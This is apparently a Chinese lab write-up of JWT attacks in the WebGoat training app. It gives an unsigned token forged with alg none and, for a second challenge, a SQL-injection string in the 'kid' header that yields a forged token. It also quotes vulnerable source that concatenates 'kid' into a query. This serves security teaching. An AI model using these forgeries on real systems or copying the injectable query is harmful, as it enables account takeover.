JWT漏洞复现
RFC 7519 ),它定义了一种紧凑且自包含的方式,用于在各方之间以 JSON 对象的形式安全传输信息。
此信息可以验证和信任,因为它是数字签名的。JWT 可以使用密钥(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名。
JWT通常分为三部分:
头部(Header),声明(Claims),签名(Signature)
三个部分以英文句号.隔开
JWT的内容以Base64URL编码的形式存在
https://hub.docker.com/r/webgoat/webgoat-8.0/
拉取:docker pull webgoat/webgoat-8.0
启动:docker run -p 映射端口:8080 -t webgoat/webgoat-8.0
https://jwt.io/
时间戳生成网址:https://tool.chinaz.com/tools/unixtime.aspx
http://ip+端口/WebGoat/login
此作业基于在 Bugcrowd 上的私人错误赏金计划中发现的漏洞,您可以在此处阅读完整的文章
此处提供了以下日志文件 你能找到一种方法来订购书籍但让汤姆为它们付费吗?
- 查看日志文件
通过观察日志文件,这是一串tom在2016年的一份JWT加密形式的身份令牌
- 综上我们可以利用这一串令牌,为tom创建一个新的权限
通过BP抓包可以看到请求包中,有一信息,授权书为空。我们将日志里的身份修改时间戳代入这里
- 用修改过后的payload 带入bp中,并重放包
Payload:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTgyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.
- 完成任务!
第八关
摘要
最后的挑战
任务
下面您会看到两个帐户,一个是 Jerry,一个是 Tom。Jerry 想从 Twitter 上删除 Toms 的帐户,但他的令牌只能删除他自己的帐户。你能试着帮助他并删除汤姆斯的账户吗?
- 对删除Tom的包进行抓包
原始Token内容
#Token:
leSIsImFsZyI6IkhTMjU2In0.
eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQs
ImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJy
eUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5
QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.
CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8
HEADER:ALGORITHM & TOKEN TYPE
{
"typ": "JWT",
"kid": "webgoat_key",
"alg": "HS256"
}
PAYLOAD:DATA
8
{
"iss": "WebGoat Token Builder",
"iat": 1524210904,
"exp": 1618905304,
"aud": "webgoat.org",
"sub": "jerry@webgoat.com",
"username": "Jerry",
"Email": "jerry@webgoat.com",
"Role": [
"Cat"
]
}
VERIFY SIGNATURE
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
) secret base64 encoded
- 观察源码
从下面源码进行分析,可以看到JWT的签名验证是从数据库中读取的,但是获取数据库盐的值的地方传入的参数kid并没有进行任何的过滤,这样就可以使用注入来伪造一个JWT的签名,从而达到伪造目的
AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return trackProgress(failed().feedback("jwt-invalid-token").build());
} else {
try {
final String[] errorMessage = {null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
try {
Connection connection = DatabaseUtilities.getConnection(webSession);
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
}
return null;
}
}).parse(token);
if (errorMessage[0] != null) {
return trackProgress(failed().output(errorMessage[0]).build());
}
Claims claims = (Claims) jwt.getBody();
String username = (String) claims.get("username");
if ("Jerry".equals(username)) {
return trackProgress(failed().feedback("jwt-final-jerry-account").build());
}
if ("Tom".equals(username)) {
return trackProgress(success().build());
} else {
return trackProgress(failed().feedback("jwt-final-not-tom").build());
}
} catch (JwtException e) {
return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}
- Token构造查询语句,更改身份为Tom
"'; select 'MQ==' from jwt_keys --"
- 利用前提:
- 利用SQL注入,构造查询语句
- 更改用户名为Tom (这一关中,只能自己删自己)
- 验证签名更改为1 与 sql语句联动
Payload:
eyJ0eXAiOiJKV1QiLCJraWQiOiInOyBzZWxlY3QgJ01RPT0nIGZyb20gand0X2tleXMgLS0iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTY1NjIxMTA4OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.cOM5Nv_5Tpjj7eqadQRRFfPv2Rn8zRRisJoQIe1JJ7g
- 重新发包完成